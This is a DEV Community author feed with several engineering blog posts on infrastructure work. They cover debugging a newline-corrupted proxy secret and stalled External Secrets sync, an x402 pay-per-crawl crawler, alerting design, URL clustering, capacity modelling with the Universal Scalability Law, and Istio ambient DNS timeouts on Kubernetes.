DEV Community: Harish

Coding is only a part of Engineering!

Harish — Sun, 06 Sep 2026 16:48:59 +0000

How setting up a local test bench uncovered a proxy tier that had never worked, a dashboard that couldn't show it, and a secret-sync failure mode that nobody was watching.

It started with a browser that wouldn't connect

I was setting up CrawlGym — our local bench for replaying crawls against recorded HTML, so we can test hypotheses and measure regressions without hammering real sites. Everything worked
except the browser tier: every escalation to LightPanda failed to connect.

So I went to check whether production had the same problem. It didn't. It had a worse one.

Production was doing something worse

The datacenter LightPanda sidecar was logging this on every single page:

$scope=frame     $level=error $msg="navigate failed" err=CouldntResolveProxy
$scope=telemetry $level=warn  $msg="postEvents"      err=CouldntResolveProxy events=4 dropped=133

Not some pages. Every page — including LightPanda's own telemetry, which has nothing to do with our crawler. Whatever was broken was broken for every outbound request that container made.

The numbers for proxy_browser_request_total{proxy_type="datacenter"}:

window	success	fail
7 days	0	67,083
90 days	0	793,810

Zero successes across the entire metric retention window. This wasn't a regression. Tier 2's browser path had never worked, not once, since the metric existed.

Meanwhile tier 1 was healthy — 250,557 successful renders in the same 7 days. So it wasn't the browser, the image, or the network. It was specific to the datacenter tier.

One secret, two consumers, one of them broken

CURLE_COULDNT_RESOLVE_PROXY means libcurl couldn't resolve the proxy hostname — a failure before any socket opens. But the same pod's Go process was resolving that exact host fine and getting HTTP 200s through it. Same network namespace, same /etc/resolv.conf.

The two processes weren't being handed the same string.

PROXY_DATACENTER_URL in Vault ended with a trailing \n. One byte, and it broke exactly one of the two consumers, because they read the variable by completely different routes:

consumer	path the value travels	result
Go crawler	env → `envsubst` into `config.yaml` text → YAML parse	newline absorbed as end-of-scalar → clean URL, proxy works
LightPanda	k8s `$(VAR)` → argv, no YAML anywhere	newline preserved → host `proxy.example.net:8080\n` → unresolvable

That YAML absorption is the whole reason this survived for months. After substitution the config line becomes a clean scalar followed by a harmless comment line. The Go side parses fine, logs datacenter_http:true at startup, and pushes real traffic through the proxy. No error, no warning, nothing to find.

I reproduced it against the exact production image to confirm which input shape produced which error:

`--http-proxy` value	error
valid host, with or without credentials	`CouldntConnect`
scheme-less with credentials	`CouldntConnect`
trailing newline	`CouldntResolveProxy`
nonexistent host	`CouldntResolveProxy`
literal unexpanded `$(VAR)`	`CouldntResolveProxy`

LightPanda resolves proxy hostnames perfectly well. It just can't resolve one with a line break glued to the end.

The cost: every page needing a render that tier 1 couldn't get escalated to datacenter, failed 100% of the time, and fell through to the web unlocker at 72× the cost weight. In one week,
112,228 forced escalations to the expensive tier — all downstream of a tier that structurally could not succeed.

Why the dashboard showed nothing

We have a Proxy Observability dashboard with a panel literally titled "Tier 2 (Datacenter) requests: success vs failure". It looked fine.

It queried proxy_request_total — the HTTP fast path. Only that. The browser path, proxy_browser_request_total, wasn't on the panel at all.

So a tier where the HTTP half worked and the browser half was 100% dead rendered as a healthy green line. The panel wasn't wrong, it was incomplete — and incomplete in exactly the dimension where the failure lived. Its description even claimed the tier "has recorded no direct successes historically", which was stale and pointed attention away from the real gap.

The fix was two queries instead of one, with legends that can't blend:

A:  sum by (failure_category) (rate(proxy_request_total{...proxy_type="datacenter"}[$__rate_interval]))*3600
    legend: HTTP · {{failure_category}}

B:  sum by (outcome) (rate(proxy_browser_request_total{...proxy_type="datacenter"}[$__rate_interval]))*3600
    legend: Browser · {{outcome}}

A tier with two independent failure paths needs two series. Aggregating them into one number is how you get a dashboard that is technically accurate and operationally useless.

Then dev refused to accept the fix

I patched the newline out of Vault in dev, restarted, and nothing changed. The pods still came up with the old value.

Two things were going on.

The boring one: environment variables from secretKeyRef are resolved at container start.
Updating a Secret never changes a running pod's environment — new pods are always required.

The second was not boring. The dev Secret wasn't updating at all. The sync had been dead for seven weeks:

error processing spec.data[2] (key: .../my-app-llm-api), err: Secret does not exist
Ready=False   refreshTime=2026-07-15T06:48:31Z

The External Secrets Operator resolves every key in an ExternalSecret atomically. If one key fails, it writes nothing — so one missing key also froze PROXY_DATACENTER_URL, the database credentials, and everything else in the same object. Seven services, all stuck on a copy of their secrets from 15 July.

And here's the part that should worry you: nothing looked broken. ESO doesn't delete the Secret when it fails, it just stops updating it. Pods kept booting from the last-good copy.
One of them was still making successful API calls that morning, on a key synced seven weeks earlier. The only signal anywhere was a Ready=False on an object nobody looks at.

The fix was to create the one missing Vault path — present in prod, never created in dev — populated with the value already working, so restoring the sync was a no-op for that key rather than a credential rotation. All seven went Ready=False → True within two refresh cycles.

Restoring the sync then did something nice: it pushed the corrected proxy URL into the five secrets I'd never hand-patched, which were all still carrying the newline. And it validated the
blind Vault write independently — ESO fetched from Vault and produced byte-for-byte what I'd patched by hand.

The failure mode is bigger than us

Once I understood the shape of it, I audited every ExternalSecret in the namespace.

Dev: 15 of 200 failing. Ten were ours. The rest belonged to other teams:

Three referenced a Vault path prefix that has never existed in that cluster — secret/data/my-company.org/... instead of the .../ns/<namespace>/<app> layout everything else uses. Their refreshTime is None. They have never synced, ever.
One had the right path but the wrong property name inside it.
Four wildcard TLS certificates were healthy until 2026-08-17, then the Vault entry vanished.

Prod: far better — 195 secrets, only 2 failing. But those two are instructive. They last synced on 2026-03-05. Six months ago. The consuming deployment is running 1/1 right now; its
pod started 2026-08-19, five months after the sync broke, and came up fine on the retained Secret.

So a production service is quietly running on a credential that can no longer be rotated.
Write a new key to Vault and it will never reach the pod. The eventual failure will look like vendor auth errors, with no obvious connection to a secret change made months earlier.

That's the real defect. Not any individual missing path — those are ordinary mistakes. The defect is that a broken secret sync is invisible by design: retention means the app keeps
working, so the failure is deferred to whenever someone next needs the value to actually change.
Which is usually a rotation, an incident, or a migration — the worst possible moments to discover your secrets have been frozen since March.

I raised this with the cloud team. They're now looking at surfacing sync failures during ArgoCD sync, so a Ready=False ExternalSecret fails loudly at deploy time instead of lurking. I handed
over the other teams' broken secrets along with it.

What I'd take from this

A single byte can be invisible on one path and fatal on another. The same value went through YAML on one side and argv on the other. Ask what transformations sit between a config value
and each of its consumers — they're rarely the same.

Verification methods can launder the bug. Shell $( ) strips trailing newlines. tr turns them into line breaks. Both "confirmed" the URL was well-formed. Use xxd.

A panel that shows one of two failure paths is worse than no panel, because it manufactures confidence. If a tier can fail two independent ways, plot two series.

Retention makes failures polite, and therefore dangerous. ESO keeping the last-good Secret is the right default for availability and the worst possible default for observability. If a system's failure mode is "everything keeps working, just frozen", nothing short of an explicit check will catch it.

Absence of a metric is not evidence of absence. Two signals nearly derailed the diagnosis:
ESO's syncedResourceVersion didn't change after a write that definitely landed, and a brand-new pod had no Prometheus series at all — not zero-valued ones — because of scrape discovery lag
and client_golang only creating a labelled series on first increment. When in doubt, read the pod's own logs.

The part that has nothing to do with newlines

Here's what actually bothers me about this bug.

We use LLMs to generate code now. That's fine — it's a tool, and it lets us implement things faster than we could before. But it only compresses one part of the job. Every other part of
engineering still exists.

For starters: we still have to make sure the damn thing we built works.

Testing methodology and observability matter more now, not less, precisely because we pay less attention to the implementation. If you didn't write the code line by line, you don't carry a
mental model of where it's fragile — so the only thing standing between you and a silent failure is a strict test that fails loudly and an alert that fires when reality diverges from what you
assumed.

This bug is what that gap looks like in production. A tier shipped that had never worked once. 793,810 failures over 90 days. A dashboard panel that couldn't show the failing half. Seven
services frozen on seven-week-old secrets, and the only evidence was a Ready=False field on an object nobody reads. Nothing here was hard to detect. It just wasn't being checked.

Impact assessment, testing, monitoring after deployment — none of that vanished with AI. You can use AI to help with all of it: have it write the test you'd have skipped, generate the alert
rule, review the diff for what you forgot to instrument. The failure here wasn't AI. It was skipping the cadence.

And I'll be honest about the uncomfortable part: because we aren't writing the code, we care less. When you can generate a working implementation in a minute, it becomes very easy to stop
at "it runs" and never do the complete thing. That pull is real, and I feel it too.

Doing the complete thing anyway is the job. That's what being a responsible engineer means, and it's the part no tool is going to do for you unless you ask it to.

Thank you so much for the mention Sarvar, really appreciate it!

Harish — Fri, 04 Sep 2026 01:57:04 +0000

Solved via cookie and CSRF reverse engineering

Sarvar Nadaf

Sep 3

My Dev.to CLI Got Its First Community PR. Image Uploads From Terminal.

#devto #opensource #python #webdev

5 min read

Building an x402-aware crawler in Go: what Cloudflare's Monetization Gateway means for web scraping

Harish — Sun, 30 Aug 2026 13:13:25 +0000

57% of internet traffic today is AI and web scraping bots — up from just 20% in 2021. For site owners, this has meant a frustrating binary: block bots using services like Cloudflare or Akamai and risk cutting off legitimate AI traffic, or allow them and get nothing in return.

x402 offers a third path. HTTP 402 — "Payment Required" — has existed in the spec since 1991 but was never practically implemented. x402 makes it real: a client hitting a payment-protected endpoint completes an on-chain transaction and attaches the payment signature (X-Payment-Signature) to the retry request before it can access the content.

x402 is an open, neutral standard for internet-native payments. It absolves the internet's original sin by natively making payments possible between clients and servers, creating win-win economies that empower agentic payments at scale.

It is part of the Linux Foundation, backed by Cloudflare, Coinbase, AWS, Google, Stripe, Visa, and others. This is not a crypto side project — it is foundational internet infrastructure.

Understanding the payment flow

The flow is straightforward:

The client requests a protected endpoint and gets back a 402 Payment Required response containing the price, destination wallet address, and expected network.
The client pays on-chain to that wallet via a facilitator, which handles the blockchain interaction.
The facilitator settles the transaction and returns a transaction hash.
The client retries the original request with the transaction hash as X-Payment-Signature.
The server verifies the payment on-chain through the facilitator.
On confirmation, the server serves the actual content.

On facilitators: a facilitator is an optional but recommended service that abstracts the verification and settlement process. You can use any facilitator as long as it supports the network the server expects payment on. Since Coinbase co-governs x402, most sites transact on Base, though Solana, Ethereum, and Polygon are also supported.

For testing x402-crawler, I used Base Sepolia (Base's testnet) and facilitator.x402.rs — a free public test facilitator run by FareSide, an independent open-source project. You can also run a local facilitator to avoid the blockchain entirely during development.

Architecture

Three concerns, deliberately kept apart: the client speaks the protocol, the crawler decides what to fetch, and the budget tracker decides what may be paid for. None of them holds another's state.

Package	Owns	Deliberately does not own
`client`	the x402 protocol: 402 handling, signing, retry classification, reconciliation	any spending policy, any ledger, any URL state
`crawler`	traversal: what to fetch, how deep, when to stop	how payments are signed
`crawler.BudgetTracker`	every spending decision and the accounting behind it	anything to do with HTTP

client.Config.Authorize is required — there is no default. A client with no policy would pay whatever a server asked, and that failure is silent and expensive. Callers who genuinely want no ceiling pass client.AllowAnyPayment, so the decision is written down rather than implied by an unset field.

Features

Simple BFS crawler, same-domain. Workers pull from a shared queue rather than traversing level by level, so one slow page does not hold up the rest. Termination counts queued and in-flight work — an empty queue is not the end, because a worker mid-fetch may be about to surface more URLs.

Budget-aware. A per-payment cap and a cumulative total, both claimed under one lock before signing, so concurrent workers cannot each be told there is room for the last payment. Running out of budget is not an error — the crawl reports which URLs it could not reach.

Pays when required, with retries. Every failure reason in the x402 spec is classified as terminal, retryable, or needs reconciling. A settlement_pending is never retried blind: the chain is asked what became of the transaction first, because retrying blindly is how one fetch gets paid for twice.

Dry run. --dry-run prices a crawl without funding it, still applying budget caps — so the estimate answers "what would this budget actually buy" rather than "what would everything cost".

PDF downloads. Streamed to disk rather than buffered, under a size cap, with filenames generated from a hash of the URL so a server cannot choose what lands on your filesystem.

Payment deduplication. Concurrent workers racing to fetch the same URL collapse onto one request via singleflight. The others wait and share the result rather than each paying independently.

Nothing leaks. A redacting zapcore.Core inspects log values — not field names — so a private key logged under any field name is still stripped from output.

The full implementation is on GitHub: github.com/HarishTeens/x402-crawler — give it a star if it's useful.

The bigger picture: Cloudflare's two-sided bet on crawler payments

Source: Cloudflare's article

I built for x402 — the open, wallet-native path. But Cloudflare is actually running two separate systems simultaneously, and understanding both clarifies why x402 matters.

The first is Pay Per Crawl. When Cloudflare announced the Monetization Gateway, most coverage missed that it sits alongside an older system with fundamentally different mechanics. Pay Per Crawl uses no blockchain. Cloudflare is the merchant of record: both the crawler operator and the publisher need Cloudflare accounts with billing set up. The crawler gets verified via Web Bot Auth, payments are settled through Cloudflare's billing infrastructure, and Cloudflare takes a cut. It is targeting enterprise — Perplexity, OpenAI, the players signing actual commercial deals.

The second is x402 via the Monetization Gateway. No Cloudflare account required. The wallet is the identity. Any agent can pay any site autonomously with no prior relationship. This is what I built support for.

These are not competing products — they are two halves of the same strategy. Pay Per Crawl locks in the enterprise market through billing relationships. x402 captures the long tail through open-protocol dominance. In both cases, Cloudflare sits in the middle of every transaction — as the billing layer in one, as the edge verification layer in the other.

That is the VISA parallel. VISA does not hold your money. It just sits between every transaction and charges a small fee. At Cloudflare's scale, with the majority of the web sitting behind their edge, that positioning is enormous — and it does not require owning the money to work.

As a crawler builder, x402 is the path to support now. It is autonomous, requires no prior relationship, and is the harder engineering problem — which is exactly what makes it worth building.

Resources

x402 protocol: github.com/x402-foundation/x402
x402-crawler: github.com/HarishTeens/x402-crawler
FareSide test facilitator: github.com/x402-rs/x402-rs
x402 spec: x402.org

4 Non-obvious learnings from working with alerts

Harish — Sat, 22 Aug 2026 02:16:30 +0000

Alerting is a details game. Nobody gets paged by their intent — they get paged by the exact query they wrote. If you want to sleep through the night, the query has to mean what you think it means, and most of the time you find out it doesn't at 3am.

The clearest example I saw wasn't even subtle. A colleague had an alert on message processing count as a throughput signal for our file processor. Perfectly reasonable — if a message were a unit of work. It isn't. One message carries a batch of up to ten URLs, and the thing we actually cared about was PDF downloads.

The important part is that this was not a deliberate approximation. Nobody weighed the cost of instrumenting per-download and settled for messages as a cheaper proxy. The detail that one message holds many URLs simply wasn't known to the person writing the rule, so there was no tradeoff to weigh in the first place. We were tracking the wrong metric outright.

And everything downstream inherited it. The threshold, the SLO, the months of accumulated "is this number normal?" intuition — all of it quietly denominated in the wrong unit.

Five messages, twenty-six units of work, and no constant ratio between them.

That's the shape of every lesson below. The metric is fine. The mapping from metric to intent is where it breaks.

1. Throughput is age-of-oldest-message, not a rate floor

The obvious throughput alert is a floor: fewer than N items in M minutes, page. On a nightly-batch workload this fires every single night, because a floor cannot distinguish "wedged" from "idle, there is genuinely no work."

Age of the oldest queued message has neither problem. If nothing is queued, there's nothing to be old, so quiet periods are silent for free. If work is queued and not moving, age climbs — and it climbs whether the consumer crashed or is up and simply not consuming, which a liveness check misses entirely.

It also spares you from inventing a number. "Is 40 messages/minute normal?" requires a model of your workload. "Has anything been sitting here for six hours?" is grounded in the queue's own drain time, and you can defend it in review.

Same day, same incident. The floor fires seventeen hours out of twenty-four; the age signal fires once.

2. Catching the tail

Queue age tells you that work is not draining. It does not tell you why, and there are two very different whys:

Is there a system-wide choke, where everything is stalling?
Or are a handful of genuinely slow jobs dragging out the tail while the main workstream is fine?

A per-unit deadline answers this — "did any single job exceed N minutes?" — and the useful signal is not that it fired, but how many times it fired.

Many exceedances. You almost certainly got the throughput alert too. This isn't a tail at all: the main workstream is failing, and the tail alert is just a second view of the same outage.
A few exceedances, throughput healthy. It really is a handful of jobs. You're now looking at specific inputs — one pathological domain, one oversized file — not at the system.

The alert is identical in both rows. The count is what tells you which situation you're in.

Our API is the clean version of the second case. Across a fortnight, about ten requests crossed 10 seconds and everything else was fast. Ten requests out of a fortnight's traffic is not an outage, and a zero-allowance rule at 10s would have paged us for requests that were slow but not broken. So the deadline went where exceedances are genuinely rare — 30 seconds — and the alert now means "something is stuck" rather than "something is slow."

That distinction is the entire reason to run both alerts. Between them, they tell you which of the two questions you're looking at before you open a single dashboard.

3. Ratios need a volume gate, not just a non-zero check

A 99% success SLO sounds like it tolerates failure. On a sparse workload it tolerates nothing: one failure breaches any window holding 100 units or fewer. An hour that saw 3 items and failed 1 reads as 67% and pages you.

We thought this was covered. The SLI carried a no-data guard — the ratio was only evaluated if the service had seen any traffic in the window, so a completely idle hour fell through to "healthy" instead of dividing by zero:

and on() (sum(rate(items_processed_total[1h])) > 0)

That guard does exactly one thing: it excludes the empty window. It says nothing about whether the window holds enough work for a percentage to mean anything. An hour with 4 items clears > 0 comfortably and is still statistically useless.

Over a clean 14-day window with no real incident, one service breached 12 times. Every one of the twelve was an hour holding between 1 and 30 items. Pure denominator artifact.

The fix is to make the guard a volume gate rather than a presence check — the same expression, with a real floor in it:

and on() (sum(rate(items_processed_total[1h])) >= 0.027778)   # 100/hour

Zero breaches over the same window, and it still catches every genuine high-volume failure episode. The 99% target never changed. The gate was the whole alert.

Every breach in fourteen clean days, and all of them are hours that barely held any work.

The generalization: any ratio- or percentile-shaped SLI is only meaningful above some volume, and you have to say what that volume is. "Traffic > 0" is not a volume gate.

4. You can only see as far as your largest bucket

Everything right of the dashed line came back as the same number until the buckets were widened.

Everything above assumes you can answer "how many jobs took longer than N?" With a histogram, you can only answer that at a boundary that actually exists. Buckets are cumulative, so "slower than 45 minutes" is count - bucket{le="2700"} — and if nothing ever emitted le=2700, that expression has nothing to subtract.

This is where it turns dangerous. A rule referencing a bucket that doesn't exist does not error. The series is simply absent, the subtraction yields nothing, and the alert quietly never fires. It looks green. It is blind.

The ceiling hides things in the other direction too. Our API's histogram topped out at le=10, so every request slower than ten seconds — 10s, 90s, one wedged request hanging for an hour — landed in the same overflow bucket. We couldn't have set a 30-second deadline if we'd wanted to. Worse, we couldn't even tell whether 30 seconds was the right number, because the data needed to answer that had never been recorded.

So the instrumentation work has to land before the alerting work: push the top boundary above the deadline you care about, with enough headroom to see the shape of what lies beyond it. Ours went from a 5-minute ceiling to 4 hours, which is how we found out that individual scrapes occasionally run for 11.

One catch worth planning for: a bucket added today only describes traffic from today. A new boundary gives you no history, so any threshold derived from it is a guess until you've waited out a full window — and until then, the rule depending on it is one of those green-but-blind rules.

The through-line

Every one of these is the same failure: a plausible metric standing in for the thing you actually meant. Messages for downloads. A percentile for a stuck job. A rate floor for liveness.

So before you ship the rule, replay it against real history and read what it did. Not what it should do — what it did, over a window whose ground truth you already know. It's cheap, and it turns "I think this threshold is right" into "here are the 12 times this would have woken me for nothing."

Vocabulary based URL Clustering

Harish — Wed, 12 Aug 2026 08:19:18 +0000

It all started when I kept asking this question every day:
Wouldn't it be easy if the crawler can just look at the URL and tell whether its a structure URL pattern or an Identifier(hash, slugs, IDs)

Painpoints

Pattern matching failed badly for distorted Page URLs where the vocabulary was simply different and the slug patterns were inconsistent
Without pattern matching, we couldn't really identify a large content hub that produces tons of articles/products/blogs…etc This makes crawling miserable of large fan-out pages! The only way was to crawl everything!
Trie was built in to model a site so we can reasonably determine page structures. But it all went backfired when we entered large Ecom style fan-out sites who simply don't follow Trie URL structure 🙂
Deterministic rules helped with Hash detection, numbers, but failed badly with "content slugs". They are always not too long, don't have atleast 2 hyphens, mix of alpha and numbers. Could not really distinguish them based one generalised rule. Kept going back and forth between heuristic rules!

Iteration 1

I was ready to train a text model that uses some kind of clustering like K-means or Naive Bayes. A small prototype was made based on Naive bayes , used dev URLs as a data test.

The Good: It actually helped identify positive paths better

The Bad: But prod's dataset was too wide. The generalisation needed more dataset and a better pipeline.

Realising I'm only a noob at building models, gave up and proceeded with next approach.

Iteration 2

The prototype worked well for already generalised well defined keywords. It didn't help with the site specific hubs. I won't blame the model, who the heck is going to know that application/marine could be a large content hub!

So I added a local vocabulary on top of the generalised model and let the logic use this as a fallback when the generalised model could not classify it.

No good, just bad: Although it looked like a good idea, unfortunately what could have been general on the dataset was not the general case in most sites. Similarly what was rare in the general set was again not rare at all for this set.

Tried adjust scores from global+local, but again its a goose hunt to find the right attribution!

Iteration 3

Go all in on local vocab. Every site is a unique beast, all I care about is identifying large fan-out with sparse URL patterns to ban them.

The Good: This performed better than both the previous iterations and was able to identifying structural vs Identifier reliably purely on the sites on vocab.

The Bad: We lost the predefined judgement which generalised model gave us, it took the crawler time to understand site structure. So it was bucketing similar URLs into separate groups rather than one.

Iteration 4

Multiple ideas to solve the problem:

I actually thought of a fake crawl to learn the site and then do the actual crawl. But bad too costly and time consuming

How about we limit to 100 page fetches to build vocab then use the judgement. Again a heuristic ticking bomb to blow out.

Instead the better approach was to build resilience. Like how we humans think we start with a guess, consume enough volume so adds more signals to the clusters and makes them distinct right!

So we already had a checkpoint program that runs every 15 fetches. First we adjust that to 50 and re-pattern all the URLs using the updated vocab(a bit costly on the DB! but worth it) . This helped with the buckets convergence. And to top it off we have guards in-place so we quantify "Rarity" vs "Structural".

The rare keywords in a site might not necessarily be 1,2,3..etc. It depends on the site itself, similarly the structural keywords cannot be 40,50...etc. In the beginning, we have no way to guess. But as the crawl progresses we recalibrate these, given the buckets get distinct as we collect more vocabulary. The more we crawl, the more distinct the structural and rare keywords become, and we re-pattern them based on our new finding.

TLDR;

Heuristic always fails, there is always a black swan. Building resilience as we gather more evidence and adapting on the fly helps. This exercise made me realise that. It also helped me realise its possible to do without complicated models…

Alternative to load test: Model using the Universal Scalability Law

Harish — Mon, 27 Jul 2026 05:23:23 +0000

A quick note upfront: I'm barely scratching the surface here. I'm not a performance-engineering expert, and most of this was new to me a couple of weeks ago. But I ran into a real problem, went down a rabbit hole, and found something genuinely interesting — so I'm writing it down.

The problem: 1,000 connections, ~13 doing anything

We run a distributed web crawler. It scales out to ~100 pods, each holding ~10 database connections, so at peak we open roughly 1,000 connections to a single Postgres (Aurora) writer.

On big bursts, the database CPU pegs at 95%. The obvious reading is "we've outgrown the DB, scale it up." But when I actually looked at what the database was doing, the story flipped:

Out of ~1,000 open connections, only about 13 were ever active at the same time.

Thirteen. The other ~987 were just… sitting there. Our crawler spends almost all of its time fetching and rendering pages over the network, and only a millisecond here and there actually writing to the DB. So each connection is idle ~99% of the time. We were holding a thousand connections to do about thirteen connections' worth of work.

Connections aren't free

Here's the part I hadn't internalized: an idle connection still costs you. In Postgres each connection is a real backend process — memory, a slot in a shared array the DB scans on every query, a thing the OS scheduler has to juggle. Hold a thousand of them and the database burns a chunk of its CPU just coordinating connections, before doing any useful work.

So the 95% CPU wasn't "too much work." It was "too much overhead managing connections we weren't using." More connections were making it worse, not better. That completely inverted my mental model, which until then was basically "more concurrency = more throughput."

So why does AWS let me open a thousand connections in the first place?

This is the part that quietly misled me. If connections are costly and mostly idle, why does the database happily accept a thousand of them?

Because max_connections — the limit AWS hands you — is derived from the instance's memory, not from its ability to do work. On Aurora/RDS it's basically a formula: roughly instance memory ÷ a per-connection memory budget. A 64 GB instance can hold hundreds or thousands of backend processes before it risks running out of RAM, so that's the number you're "allowed."

That's the unlock: max_connections is a safety ceiling — "how many connections can we hold without running out of memory" — not a target. It says nothing about how much concurrent work the database can do. That second number is set by CPU, and it's far smaller — for us, ~13 active sessions, bounded by 8 cores.

They're two unrelated axes:

Connections are limited by memory → the number is big.
Useful concurrency is limited by CPU → the number is small.

Filling your connection budget doesn't mean you're using the database well. We were sitting at ~1,000 of our allowed connections and still only doing ~13 active sessions' worth of work. The generous limit was quietly inviting us to over-provision.

The analogy that stuck with me: max_connections is the number of chairs in the waiting room (limited by floor space — memory). The number of doctors (limited by CPU) is what decides how many patients actually get seen. Cramming more chairs in doesn't treat anyone faster; it just lets more people wait at once. We'd been proudly filling the waiting room and wondering why the queue wasn't moving.

So a high max_connections is permission, not a goal. The number worth chasing is active concurrency — and that's exactly what the next two ideas pin down.

Two old ideas that explained everything

I stumbled onto two pieces of theory that turned the confusion into something I could reason about. I learned most of this from these two talks, which I'd recommend:

Little's Law says the number of things in flight equals arrival rate × how long each takes (L = λ × W). Plug in our numbers — the insert rate and the ~1.5 ms each insert takes — and out pops ~13. The "why only 13 active?" mystery wasn't a mystery at all; it was arithmetic. Active concurrency is a result of throughput and service time, not of how many connections you happen to open.

The Universal Scalability Law (USL) is the one that reframed how I think about scaling. It says throughput does not keep rising as you add concurrency. Two forces fight the linear ideal:

contention — waiting for shared resources — which makes throughput flatten into a plateau;
coherency — the cost of keeping everything consistent across workers — which is quadratic, and eventually pulls throughput back down.

Written out, the whole thing is one small formula:

                    λ · N
   X(N) = ──────────────────────────────
          1 + α(N − 1) + β·N(N − 1)

Read it as a set of dependencies. N is the only thing you control (concurrency — workers, parallel requests, active DB sessions). The other three are fixed properties of the system you're trying to discover:

λ (lambda) — the ideal slope. Throughput of a single worker. The numerator λ·N is the fantasy world where doubling workers doubles throughput. Everything below the line is the tax on that fantasy.
α (alpha) — contention. The α(N − 1) term grows linearly with N. It's the share of work that can't be parallelized — a lock, a shared resource, a serial section. As N climbs, this drags throughput toward a ceiling of ~λ/α: the plateau. (On its own, this term is Amdahl's Law.)
β (beta) — coherency. The β·N(N − 1) term grows quadratically (≈ βN²). It's the cost of workers keeping each other consistent — coordination, cache coherence, cross-talk. Invisible at low N; past a point it dominates the denominator and throughput actually falls. This is the retrograde — the thing Amdahl's Law misses.

How the terms trade off:

α = 0, β = 0 → X = λN. Perfect linear scaling. (Nobody lives here.)
α > 0, β = 0 → a plateau. Diminishing returns, but never worse.
β > 0 → the curve turns over. The peak sits at N* = √((1 − α) / β) — push concurrency past N* and you go backwards.

So α decides where it flattens, and β decides whether and where it bends back down. For us α was ~0 (no locks left — it really was all CPU) and β was small but nonzero (the coordination cost of ~1,000 backends fighting over 8 cores), which put N* right around the core count — exactly why piling on more pods stopped helping and started hurting.

The takeaway: you can model this instead of guessing

This is the bit I'm most excited about, and the reason I'm writing at all.

When you need to know "how far will this scale?", there are usually three moves:

Guess / linearly extrapolate. "10 pods gave X, so 100 pods will give 10X." This is just wrong the moment you're past the knee — linear extrapolation predicts up-and-to-the-right forever, while the real curve is bending down. It's confidently, dangerously incorrect.
Load test. Legitimate, but expensive and slow — spin up infrastructure, generate realistic load, run it many times, babysit it. Often you don't have the time or the environment.
Model it. Take a handful of real measurements you already have, fit the USL curve, and predict the whole thing — where throughput peaks, where it goes retrograde, whether adding capacity will even help.

That third option barely existed in my head before this. You don't always need a full load-testing rig to answer a scaling question. With a few honest data points and a two-parameter model, you can get the shape: does it plateau? does it retrograde? where's the sweet spot? That's usually the exact thing you're trying to decide.

A caveat, so I don't oversell it: a model is only as good as the data you feed it, and a clean fit really wants a few well-spread measurements (a small controlled ramp beats one noisy production spike). The absolute numbers I got were rough. But even a rough fit told me the thing that mattered — this system peaks near its core count and gets worse if you push past it — which is what turned "let's just add more pods / a bigger DB" into "we have a connection-management problem, and the fix is pooling."

Wrapping up

I want to be clear that I've only scratched the surface — the two talks above (and Neil Gunther's work behind the USL) go far deeper than I can. But the shift in perspective was worth the detour: measure a little, model, predict — instead of guessing with a straight line, or brute-forcing with a load test. For a scaling decision, sometimes the cheapest useful answer is a curve you fit on the back of an envelope.

DNS is weird inside k8s on AWS, Part 2: the layer I didn't know existed

Harish — Sun, 12 Jul 2026 11:44:03 +0000

A follow-up to Part 1, which laid out the three usual suspects for DNS timeouts inside a Kubernetes pod on EKS: ndots amplification, NodeLocal DNS caching, and the per-ENI 1024 pps limit on the VPC resolver. Part 1 ended with the line "proving which link in the chain is actually responsible takes measurement, not assumption." This is what happened when I did the measurement — and found a fourth link that isn't in most write-ups.

Where we left off

The symptom was familiar to anyone who's chased flaky Kubernetes DNS. A worker pod, blasting a modest number of outbound requests, would occasionally log this exact line:

read udp 100.99.139.35:41290->169.254.20.10:53: i/o timeout

It wasn't a firehose. Some pods hit it dozens of times an hour, others none. Restarting the offending pod usually cleared it for a few minutes, then it came back.

Part 1's framework said: figure out which of the three layers is dropping packets. So I did that.

What the measurement said (and what it didn't)

The three-layer diagnostic worked exactly as advertised — for the layers it covers.

Layer 1 — ndots. Confirmed the pod's /etc/resolv.conf had the classic options ndots:5 with four search domains, so each logical lookup for something like example.com was becoming ~10 packets (five names, each with A + AAAA). Setting ndots:1 cut the amplification by 5×. Timeouts still happened.

Layer 2 — NodeLocal DNS. The DaemonSet was running fine on every node. coredns_forward_healthcheck_broken_total was zero. Forward latency to upstream was under 32 ms at the 99th percentile. Cache miss rate was healthy. No restarts, no OOMs, no ratelimit plugin even loaded. If NodeLocal was the culprit, its own metrics would say so.

Layer 3 — EC2 ENI 1024 pps cap. This is the tricky one because AWS drops the packets silently. But ethtool -S <primary ENI> | grep linklocal_allowance_exceeded on the affected nodes returned zero, even during a spike window. No ENI cap was being hit.

So the packet counts I could measure said: none of the three layers Part 1 covered were the actual problem.

And yet — pods were still logging 169.254.20.10:53: i/o timeout at the same rate.

The question a DevOps engineer asked me

I posted the metrics in a Slack channel. Someone I hadn't worked with before replied with a single line:

This seems to be pointing to istio DNS capture I think. Can be a candidate to disable entirely.

I didn't know what Istio ambient DNS capture was. That turned out to be the whole problem.

The layer that was hiding in plain sight

If you're running Istio in ambient mode (as opposed to the older sidecar mode), you have a component called ztunnel running as a DaemonSet on every node. Ambient mode is the "no sidecars" flavor of the service mesh — instead of a proxy container in every pod, the mesh functions live in ztunnel and get applied to pod traffic transparently at the node level.

One of the things ztunnel does — if the feature is on — is intercept DNS syscalls from pods and answer them itself for known cluster services, forwarding the rest onward. This is the "DNS capture" feature, and it's meant to help with things like ServiceEntry resolution and consistent DNS behavior across the mesh.

The catch: it inserts an extra hop between your pod and NodeLocal DNS.

Where Part 1's mental model was:

pod ──► 169.254.20.10 (NodeLocal DNS) ──► kube-dns / VPC resolver

With ambient DNS capture on, the actual path is:

pod ──► ztunnel (DNS capture)  ──► 169.254.20.10 ──► kube-dns / VPC resolver

That extra hop has its own concurrency limits, its own timeouts, its own queue, its own bugs. And crucially: if ztunnel drops a UDP packet, the client-visible symptom is identical to what you'd see if NodeLocal itself dropped it. The pod's syscall returns i/o timeout on 169.254.20.10:53, because from the pod's perspective, that's the address it was talking to. The interception is invisible.

This is why every metric I could pull from NodeLocal or the VPC resolver came back clean. The drop was happening before the packet ever left ztunnel.

The one-line fix

Istio has an annotation for exactly this situation:

metadata:
  annotations:
    ambient.istio.io/dns-capture: "false"

Applied to a workload pod, ztunnel stops intercepting that pod's DNS syscalls. Traffic goes straight from the pod to 169.254.20.10 (NodeLocal), exactly like Part 1's diagram assumed.

We rolled the annotation out chart-wide (helm values under default.pod.annotations so every service inherits it), redeployed, and repushed a batch of 100 domains through the crawler to stress-test.

The i/o timeout log stream went to zero and stayed there.

How to check if this is you

Three quick probes, no permissions you don't already have.

